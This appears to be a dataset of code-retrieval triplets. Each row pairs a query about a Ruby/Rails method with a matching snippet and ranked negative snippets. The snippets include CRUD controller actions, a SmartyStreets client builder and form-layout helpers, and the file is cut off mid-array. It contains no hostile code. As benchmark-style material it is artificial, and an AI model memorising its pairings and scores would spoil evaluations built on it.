query stringlengths 7 9.55k | document stringlengths 10 363k | metadata dict | negatives listlengths 0 101 | negative_scores listlengths 0 101 | document_score stringlengths 3 10 | document_rank stringclasses 102 values |
|---|---|---|---|---|---|---|
DELETE /nostros/1 DELETE /nostros/1.xml | def destroy
@nostro = Nostro.find(params[:id])
@nostro.destroy
respond_to do |format|
format.html { redirect_to(nostros_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def netdev_resxml_delete( xml )\n top = netdev_res... | [
"0.70827276",
"0.68553454",
"0.6797858",
"0.6762885",
"0.67520285",
"0.66067946",
"0.6577651",
"0.65543896",
"0.6553366",
"0.6544849",
"0.65077657",
"0.6503192",
"0.64978135",
"0.6471474",
"0.64684904",
"0.6454236",
"0.6452577",
"0.6452577",
"0.6452577",
"0.6452577",
"0.64525... | 0.70654964 | 1 |
If children need to do anything special on apply, now's their chance. | def apply_children
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def children\n child_check\n super\n end",
"def child_condition; end",
"def pre_apply_child(child_index, workitem, forget)\n\n child_fei = h.fei.merge(\n 'expid' => \"#{h.fei['expid']}_#{child_index}\",\n 'subid' => Ruote.generate_subid(h.fei.inspect))\n\n h.children << child_fei... | [
"0.61365366",
"0.60137874",
"0.59377193",
"0.59209",
"0.58969873",
"0.56040144",
"0.555418",
"0.5551648",
"0.55171067",
"0.5510516",
"0.54537374",
"0.5450382",
"0.5406335",
"0.5375468",
"0.53610283",
"0.53539085",
"0.5327885",
"0.5327885",
"0.53199863",
"0.53199863",
"0.53199... | 0.69449115 | 0 |
If our object has a blueprint and a max_field equivalent of a field, offer a 'max' button. field is a sym of the field in question, input is the input field to populate. | def check_max_button(field,input)
if @object.respond_to?(:blueprint)
max = ("max_" + field.to_s ).to_sym
if @object.blueprint.respond_to?(max)
num_max = @object.send(max)
maxButton = Button.new("Max") do
input.text = num_max.to_s
end
maxButton.rect.x = input.rect.right + @spacing
maxButton.rect.y = input.rect.y
self << maxButton
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_max(fields)\n view.update_many(\"$max\" => collect_operations(fields))\n end",
"def max(field)\n determine(field, :>=)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max(value)\n set_input(\"Max\", value)\n end",
"def set_Max... | [
"0.6498205",
"0.64209783",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.6412375",
"0.63236445",
"0.6245084",
"0.62354696",
"0.6192824",
"0.60762686",
"0.59653044",
"0.5964481",
"0.5901893",
"0.5895624",
"0.5878555"... | 0.8649447 | 0 |
Fields go in a column on the left, in alphabetical order. Subclasses override this if they need to do anything fancy. | def layout_fields
# Everything has a tag - or it BETTER!
# Probably should refactor this or something.
value = @stored_values[:tag] || @object.tag
label = Label.new("Tag")
tagInput = InputField.new(value,30)
@attr_to_field[:tag] = tagInput
layout_field_button(label,tagInput,"Auto") do
attemptName = nil
if @attr_to_field[:name]
attemptName = @attr_to_field[:name].text
end
tagInput.text = @rl.repository.generate_tag_for(@object,attemptName)
end
@fieldY = tagInput.rect.bottom + @spacing
@object.class.attrs.sort.each do | attr |
next if attr == :tag # We did tags ourselves
display = true
value = @stored_values[attr] || @object.send(attr)
label = Label.new(attr.to_s)
rows,cols = [0,0]
size= @object.class.size_for(attr)
input = nil
if size
rows,cols = size
if rows > 1
input = MultiLineInput.new(value)
input.set_size(rows,cols)
elsif rows == 0 || cols == 0
display = false
else
input = InputField.new(value, cols)
end
else
input = InputField.new(value,20)
end
if display
if rows > 1
scroller = Scroller.new(input)
scroller.translate_to(*input.rect.topleft)
layout_field(label,scroller)
else
layout_field(label,input)
end
@attr_to_field[attr] = input
end
check_max_button(attr,input) if input
end
# Booleans
@object.class.booleans.each do | attr |
value = @stored_values[attr] || @object.send(attr)
checkbox = CheckBox.new(attr.to_s,value)
checkbox.rect.topleft = [ @fieldX, @fieldY ]
@fieldY = checkbox.rect.bottom + @spacing
self << checkbox
@bool_to_field[attr] = checkbox
end
# And now for the enums!
@object.class.enumerations.each do | attr, valid |
value = @stored_values[attr] || @object.send(attr)
label = Label.new(attr.to_s)
size = @object.class.size_for(attr)
label.rect.topleft = [@fieldX, @fieldY]
rows = size || valid.size
input = ListBox.new
input.rect.w = @mainRect.w / 2 - label.rect.w - @spacing * 3
input.rect.h = input.height(rows)
input.items = valid
input.chosen = value
input.translate_to(label.rect.right + @spacing, @fieldY)
@fieldY = input.rect.bottom + @spacing
self << label
self << input
@enum_to_field[attr] = input
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def left\n send left_column_name\n end",
"def drop_left\n tbl = self.class.new(\n 'Columns' => Array.new(self.rows.count+1,' '),\n 'Header' => self.header,\n 'Indent' => self.indent)\n (self.columns.count+1).times do |ti|\n row = self.rows.map {|r| r[ti]}.unshift(self.columns[t... | [
"0.6807088",
"0.6527771",
"0.6159539",
"0.6152183",
"0.6088383",
"0.6088383",
"0.6088383",
"0.6048568",
"0.60309404",
"0.5966635",
"0.5949794",
"0.59439987",
"0.5901801",
"0.58312416",
"0.58312416",
"0.5813063",
"0.5813063",
"0.5778515",
"0.57587373",
"0.57303226",
"0.5676532... | 0.0 | -1 |
Apply calls this to pop out of state; we'll want to prompt with save first. | def cancel
# TODO: That thing I'm claiming to do in the comments
super
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def discard_saved_state\n end",
"def pop_state\n @state.pop\n end",
"def restore_pop\n\nend",
"def pop\n if restore(@checkpoint_number) > 0\n drop\n end\n end",
"def discard_saved_state\n execute(\"discardstate\", @uuid)\n end",
"def restore\n end",
"def po... | [
"0.7195491",
"0.6576815",
"0.6282221",
"0.6186233",
"0.6120377",
"0.61092293",
"0.6081622",
"0.60574955",
"0.6030832",
"0.5899486",
"0.5862111",
"0.58567125",
"0.58498204",
"0.58495146",
"0.5813432",
"0.58081096",
"0.58022875",
"0.57327116",
"0.57259387",
"0.5707286",
"0.5689... | 0.0 | -1 |
Sets the maximum number of times to retry sending the request to the API. (Default is 5) Returns self to accommodate method chaining. | def retry_at_most(max_retries)
@max_retries = max_retries
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def max_retry\n 5\n end",
"def with_max_retries(max_retries)\n @max_retries = max_retries\n self\n end",
"def max_retries\n @max_retries ||= DEFAULT_MAX_RETRY_ATTEMPTS\n end",
"def max_retries\n @max_retries ||= options[:max_retries] || seeds.size\n ... | [
"0.7715865",
"0.73063475",
"0.7090918",
"0.69741553",
"0.683391",
"0.6830882",
"0.6812935",
"0.67605144",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.66903305",
"0.6605847",
"0.6579335",
"0.64517504",
"0.6432092",
"0.6432092",
"0.642... | 0.7880836 | 0 |
The maximum time (in seconds) to wait for the response to be read. (Default is 10) Returns self to accommodate method chaining. | def with_max_timeout(max_timeout)
@max_timeout = max_timeout
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_timeout\n @read_timeout\n end",
"def def_read_timeout\n 10\n end",
"def def_read_timeout\n 10\n end",
"def read_timeout=(sec); end",
"def read_timeout= read_timeout\n @agent.read_timeout = read_timeout\n end",
"def read_timeout; end",
"def read_timeout; end",
"def read_ti... | [
"0.6744671",
"0.6727719",
"0.6727719",
"0.6699481",
"0.6503505",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6470899",
"0.6469792",
"0.64497656",
"0.6309995",
"0.6068299",
"0.605533",
"0.60068476",
"0.5961539",
"0.5959443",
... | 0.621793 | 16 |
Default is a series of nested senders. (See build_sender() Returns self to accommodate method chaining. | def with_sender(sender)
@http_sender = sender
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def default_sender\n DEFAULT_SENDER\n end",
"def senders( params={} )\n senders = get_connections(\"senders\", params)\n return map_connections senders, :to => Facebook::Graph::Generic\n end",
"def senders()\n _params = {}\n return @master.call 'users/senders', _params\n end",
"def te... | [
"0.58353436",
"0.5625418",
"0.5541682",
"0.5235673",
"0.51894987",
"0.51528424",
"0.50905895",
"0.49670786",
"0.49186933",
"0.48993397",
"0.48663807",
"0.47969902",
"0.47824597",
"0.4759193",
"0.4744056",
"0.47337726",
"0.4699888",
"0.4689409",
"0.46804526",
"0.46086746",
"0.... | 0.42956883 | 55 |
Changes the Serializer from the default. Returns self to accommodate method chaining. | def with_serializer(serializer)
@serializer = serializer
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def serializers\n self._additional_serializers # standard:disable Style/RedundantSelf\n end",
"def serializer\n return @serializer if defined?(@serializer)\n\n _serializer = injected_options.fetch(:serializer, serializer_class)\n\n @serializer = instantiated_serializer_for(_serializer)\n en... | [
"0.64952856",
"0.6472357",
"0.6362916",
"0.62180257",
"0.61275965",
"0.60903233",
"0.60216695",
"0.6013755",
"0.5981057",
"0.59014994",
"0.59014535",
"0.59014535",
"0.59014535",
"0.5900871",
"0.5884428",
"0.5879951",
"0.58396655",
"0.5812648",
"0.5811327",
"0.57906777",
"0.57... | 0.71685165 | 0 |
This may be useful when using a local installation of the SmartyStreets APIs. base_url is a string that defaults to the URL for the API corresponding to the Client object being built. Returns self to accommodate method chaining. | def with_base_url(base_url)
@url_prefix = base_url
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize(base_url)\n @base_url = base_url\n end",
"def set_base_url(url)\r\n @http_client.base_url = url\r\n end",
"def base_url\n @client.instance_variable_get(:@base_url)\n end",
"def initialize(base_url)\n @base_url = base_url\n @custom_headers = {}\n @read_wri... | [
"0.6570847",
"0.6524658",
"0.6348827",
"0.6201443",
"0.6100644",
"0.6065179",
"0.599167",
"0.5977524",
"0.5953937",
"0.5859838",
"0.5848456",
"0.579792",
"0.57902366",
"0.5773273",
"0.5764631",
"0.5764631",
"0.57203054",
"0.5703709",
"0.5688545",
"0.5673339",
"0.5672998",
"... | 0.68361557 | 0 |
Assigns a proxy through which all requests will be sent. proxy is a Proxy object from this module. Returns self to accommodate method chaining. | def with_proxy(host, port, username, password)
@proxy = SmartyStreets::Proxy.new(host, port, username, password)
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def proxy\n @proxy ||= Proxy.new self\n end",
"def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"def set_proxy(host, port)\n #self.agent.set_proxy(host, port)\n end",
"def proxy=(value)\n @proxy = value\n end",
"def proxy\n @proxy\n... | [
"0.7277212",
"0.7096808",
"0.6931883",
"0.69037575",
"0.6898203",
"0.68966746",
"0.6873617",
"0.67912525",
"0.6790891",
"0.6787687",
"0.67853475",
"0.6766837",
"0.6663117",
"0.6652647",
"0.66026914",
"0.65727633",
"0.6545819",
"0.6541645",
"0.652903",
"0.65176827",
"0.6478531... | 0.67617816 | 12 |
Allows you to submit custom headers using a Hash. headers is a Hash object. Returns self to accommodate method chaining. | def with_custom_headers(header)
@header = header
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def headers=(headers)\n @headers = headers if headers.kind_of? Hash\n end",
"def headers=(hash)\n if headers\n headers.replace hash\n else\n super\n end\n end",
"def with_headers(new_headers)\n @with_headers.merge!(new_headers)\n self\n end",
"def headers=... | [
"0.6657805",
"0.66235024",
"0.6543428",
"0.65092415",
"0.64308804",
"0.63903236",
"0.6292699",
"0.6292155",
"0.62650573",
"0.6246111",
"0.62390465",
"0.61943203",
"0.6187783",
"0.6164681",
"0.6131351",
"0.6079608",
"0.60773",
"0.6075656",
"0.6037449",
"0.6026855",
"0.60226756... | 0.6330568 | 6 |
Allows the caller to specify the subscription license (aka "track") they wish to use. Returns self to accommodate method chaining. | def with_licenses(licenses)
@licenses.concat licenses
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def license(arg = nil)\n set_or_return(\n :license,\n arg,\n kind_of: [ String ]\n )\n end",
"def license=(value)\n @license = value\n end",
"def license(arg = nil)\n set_or_return(:license, arg, kind_of: [String])\n end",
"d... | [
"0.64774656",
"0.6450602",
"0.64355344",
"0.63883454",
"0.6070333",
"0.60698575",
"0.6009567",
"0.6000832",
"0.6000832",
"0.6000832",
"0.59937024",
"0.5977112",
"0.5959219",
"0.5957702",
"0.5851467",
"0.58231527",
"0.57938653",
"0.57728934",
"0.5760152",
"0.5750064",
"0.57487... | 0.61974055 | 4 |
Enables debug mode, which will print information about the HTTP request and response to $stdout. Returns self to accommodate method chaining. | def with_debug
@debug = true
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def debug!\n @client.debug_dev = STDOUT\n end",
"def set_debug(request_path, response_path)\n @debug = true\n @debug_request_path = request_path\n @debug_response_path = response_path\n end",
"def toggle_debug!\n stream = @config[:debug]\n\n if stream.respond_to?(:<<)\... | [
"0.7378089",
"0.6683502",
"0.6538428",
"0.6479609",
"0.64624435",
"0.6414529",
"0.6286613",
"0.6282566",
"0.622785",
"0.61583436",
"0.6107006",
"0.6103878",
"0.609419",
"0.6087524",
"0.60866827",
"0.6036214",
"0.6030016",
"0.6002313",
"0.59800905",
"0.5927372",
"0.58904165",
... | 0.71069044 | 1 |
GET /applications GET /applications.json | def index
@jobs = Job.all
if current_role == :admin
@applications = Application.all
elsif current_role == :recruiter
@applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}
else
@applications = Application.all.select{|n| n.user_id==current_user.id}
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def applications_list\n get \"applications\"\n end",
"def get_applications\n http_get_request(Scalarium.applications_url)\n end",
"def index\n @applications = Application.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @applications }\n... | [
"0.86093307",
"0.79462093",
"0.78742266",
"0.7813113",
"0.7733298",
"0.7699168",
"0.7673586",
"0.75540197",
"0.7525506",
"0.74982053",
"0.74982053",
"0.7469429",
"0.74091655",
"0.72886604",
"0.7258537",
"0.72536296",
"0.72512525",
"0.72512525",
"0.72512525",
"0.72512525",
"0.... | 0.0 | -1 |
GET /applications/1 GET /applications/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def applications_list\n get \"applications\"\n end",
"def show\n @applications_application = ApplicationsApplication.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @applications_application }\n end\n end",
"def index\n @app... | [
"0.81132996",
"0.7810077",
"0.7690873",
"0.7680093",
"0.7680093",
"0.7551706",
"0.7480087",
"0.7416221",
"0.7406069",
"0.73654455",
"0.730353",
"0.7294292",
"0.72875154",
"0.72744834",
"0.7261164",
"0.72428125",
"0.72428125",
"0.72428125",
"0.7239538",
"0.7212176",
"0.7209907... | 0.0 | -1 |
POST /applications POST /applications.json | def create
@application = current_user.applications.new(application_params)
jb_id = params[:j_id]
@application.status = 'Application Submitted'
respond_to do |format|
if @application.save
format.html { redirect_to @application, notice: 'Application was successfully created.' }
format.json { render :show, status: :created, location: @application }
else
@j_id = @application.job_id
format.html { render :new }
format.json { render json: @application.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @application = Application.new(application_params)\n\n if @application.save\n render json: @application, status: :created, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",... | [
"0.75116587",
"0.71207345",
"0.7010675",
"0.6972333",
"0.69557625",
"0.6880354",
"0.6869019",
"0.68499786",
"0.68343264",
"0.68269056",
"0.6799753",
"0.675681",
"0.6751725",
"0.6713167",
"0.6713167",
"0.666653",
"0.6665178",
"0.66617703",
"0.6661104",
"0.6633788",
"0.6618918"... | 0.61925936 | 56 |
PATCH/PUT /applications/1 PATCH/PUT /applications/1.json | def update
@j_id = @application.job_id
respond_to do |format|
if @application.update(application_params)
format.html { redirect_to @application, notice: 'Application was successfully updated.' }
format.json { render :show, status: :ok, location: @application }
else
format.html { render :edit }
format.json { render json: @application.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_app data={}\n put '/app', data\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_... | [
"0.7152944",
"0.7136675",
"0.7115411",
"0.70114315",
"0.7003497",
"0.6962699",
"0.69392174",
"0.6899615",
"0.6899615",
"0.6898765",
"0.68742436",
"0.6868403",
"0.68482035",
"0.68115634",
"0.68115634",
"0.68107307",
"0.68107307",
"0.68107307",
"0.680725",
"0.6806085",
"0.68037... | 0.6319737 | 61 |
DELETE /applications/1 DELETE /applications/1.json | def destroy
@application.destroy
respond_to do |format|
format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def delete_application(client, options)\n if !options[:application].nil?\n application = client.applications.get options[:appl... | [
"0.7910182",
"0.75623596",
"0.7552732",
"0.7552732",
"0.7552732",
"0.75480956",
"0.75480956",
"0.7524208",
"0.7524208",
"0.7420919",
"0.7420919",
"0.74039817",
"0.7369016",
"0.7369016",
"0.7369016",
"0.7363147",
"0.7355945",
"0.7339149",
"0.73071563",
"0.73071563",
"0.7307156... | 0.7065258 | 47 |
Use callbacks to share common setup or constraints between actions. | def set_application
@application = Application.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def application_params
params.require(:application).permit(:j_id, :job_id, :user_id, :gender, :additional_info, :portfolio_url, :linkedin_url, :current_company, :disability_status, :veteran_status, :race, :status, :resume)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.6981273",
"0.6783789",
"0.67460483",
"0.6742222",
"0.67354137",
"0.65934366",
"0.65028495",
"0.6497783",
"0.64826745",
"0.6479415",
"0.6456823",
"0.6440081",
"0.63800216",
"0.6376521",
"0.636652",
"0.6319898",
"0.6300256",
"0.62994003",
"0.6293621",
"0.6292629",
"0.6291586... | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_user
@user = User.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Only allow a trusted parameter "white list" through. | def user_params(*args)
params.require(:user).permit(args)
# :name :username :email :password :password_confirmation :bio
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
... | [
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.638045... | 0.0 | -1 |
Call given request and create matching response object | def call(request)
begin
response = RestClient.post(URI.escape(Config.api_url + request.operation), request.data)
rescue RestClient::Unauthorized, Exception
return nil
end
# Check response
if response.code != 200
return nil
end
# Parse response
parsed_response = JSON.parse(response.to_s)
# Check format
if parsed_response["api"].nil? || parsed_response["api"]["response"].nil?
return nil
end
# Fill matching response object with parsed response
response = request.response_factory(parsed_response["api"]["response"])
return response
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build_response(connection, request); end",
"def create_response(request)\n response = Response.new\n end",
"def execute!\n validate_request!\n perform_request!\n\n build_response\n end",
"def execute!\n validate_request!\n\n build_response!\n end",
"def execute!\n... | [
"0.71191156",
"0.6838894",
"0.6807015",
"0.6728536",
"0.66726595",
"0.66388273",
"0.660162",
"0.65797234",
"0.657898",
"0.64859647",
"0.63811564",
"0.63761127",
"0.6358195",
"0.63533",
"0.63533",
"0.62757105",
"0.62738806",
"0.62719804",
"0.6256944",
"0.625419",
"0.62417114",... | 0.7174503 | 0 |
Mark transaction as shipped | def mark_order_shipped(transaction_id, postal_company, tracking_number)
request = MarkOrderShipped::Request.new(
transaction_id: transaction_id,
postal_company: postal_company,
tracking_number: tracking_number
)
response = call(request)
return response
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mark_as_shipped\n self.shipped_at = Time.now\n end",
"def ship\n raise NotAllowed unless submitted?\n raise NotAllowed if shipped?\n\n apply(Orders::OrderShipped.strict(data: {\n order_uuid: @uuid,\n order_number: @number\n }))\n end",
"def mark_shipped\n @orde... | [
"0.8115377",
"0.74651915",
"0.7414874",
"0.7332863",
"0.72908676",
"0.7234468",
"0.7150125",
"0.7102819",
"0.70728207",
"0.7020315",
"0.6936508",
"0.6913142",
"0.69064534",
"0.6884379",
"0.6863928",
"0.6848972",
"0.683433",
"0.6821725",
"0.681026",
"0.6800161",
"0.6794064",
... | 0.7002338 | 10 |
GET /sofas/1 GET /sofas/1.xml | def show
#@sofa = Sofa.find(params[:title])
@sofa = Sofa.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @sofa }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sitio }... | [
"0.6376844",
"0.63095266",
"0.62404203",
"0.6221776",
"0.6131507",
"0.6102225",
"0.603984",
"0.5965827",
"0.59569216",
"0.59509015",
"0.59358567",
"0.5925079",
"0.59244275",
"0.5924425",
"0.59165573",
"0.5916318",
"0.5915587",
"0.59120697",
"0.5907471",
"0.5906915",
"0.590503... | 0.65925205 | 0 |
GET /sofas/new GET /sofas/new.xml | def new
@sofa = Sofa.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @sofa }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_se... | [
"0.71972376",
"0.6980302",
"0.6849228",
"0.6844881",
"0.6834041",
"0.6804704",
"0.67847145",
"0.675274",
"0.67492056",
"0.6741944",
"0.67276746",
"0.67176",
"0.6688618",
"0.6680484",
"0.66710734",
"0.66594124",
"0.66594124",
"0.6644803",
"0.66344327",
"0.662748",
"0.6625676",... | 0.76449263 | 0 |
POST /sofas POST /sofas.xml | def create
@sofa = Sofa.new(params[:sofa])
respond_to do |format|
if @sofa.save
flash[:notice] = 'Sofa was successfully created.'
format.html { redirect_to(@sofa) }
format.xml { render :xml => @sofa, :status => :created, :location => @sofa }
else
format.html { render :action => "new" }
format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @sofa = Sofa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sofa }\n end\n end",
"def create\n @director = Director.find(params[:director_id])\n @soaps = @director.soaps.create(soap_params)\n redirect_to director_path(@director)\... | [
"0.5876333",
"0.5798304",
"0.5752192",
"0.5694845",
"0.5578559",
"0.5573724",
"0.54499465",
"0.5413117",
"0.539831",
"0.5397936",
"0.53873575",
"0.5383198",
"0.5369998",
"0.5359845",
"0.5348144",
"0.53442585",
"0.5329538",
"0.5329406",
"0.53174525",
"0.5299035",
"0.5264957",
... | 0.67419326 | 0 |
PUT /sofas/1 PUT /sofas/1.xml | def update
@sofa = Sofa.find(params[:id])
respond_to do |format|
if @sofa.update_attributes(params[:sofa])
flash[:notice] = 'Sofa was successfully updated.'
format.html { redirect_to(@sofa) }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def upd... | [
"0.63454664",
"0.6312509",
"0.59813994",
"0.5911532",
"0.5816917",
"0.58020943",
"0.57988596",
"0.5785465",
"0.5752624",
"0.57489586",
"0.57348096",
"0.5723259",
"0.57054174",
"0.57009804",
"0.5664844",
"0.56106186",
"0.5598502",
"0.5593297",
"0.5553089",
"0.5551891",
"0.5535... | 0.6810467 | 0 |
DELETE /sofas/1 DELETE /sofas/1.xml | def destroy
@sofa = Sofa.find(params[:id])
@sofa.destroy
respond_to do |format|
format.html { redirect_to(sofas_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.x... | [
"0.66941506",
"0.66528577",
"0.6651226",
"0.66397965",
"0.66105837",
"0.6546437",
"0.6528519",
"0.65186894",
"0.65097964",
"0.6480352",
"0.6449139",
"0.6442919",
"0.64395875",
"0.6432339",
"0.64100164",
"0.6405228",
"0.6387301",
"0.6387047",
"0.63758886",
"0.63734746",
"0.635... | 0.7268784 | 0 |
prevents method from being invoked by a route | def set_current_user
@current_user ||= Moviegoer.find_by_id(session[:user_id])
redirect_to login_path and return unless @current_user #if @current_user is nil, redirect
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def no_routes\n end",
"def no_routes\n # no need to do anything here either.\n end",
"def `(*args); forbidden(__method__); end",
"def undefined_route\n routing_error!\n end",
"def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failu... | [
"0.68512785",
"0.64346206",
"0.63336766",
"0.61743253",
"0.6098168",
"0.6071763",
"0.6067459",
"0.6008456",
"0.5993343",
"0.59905994",
"0.5937201",
"0.59280205",
"0.58627295",
"0.5858591",
"0.58506787",
"0.58476275",
"0.5846243",
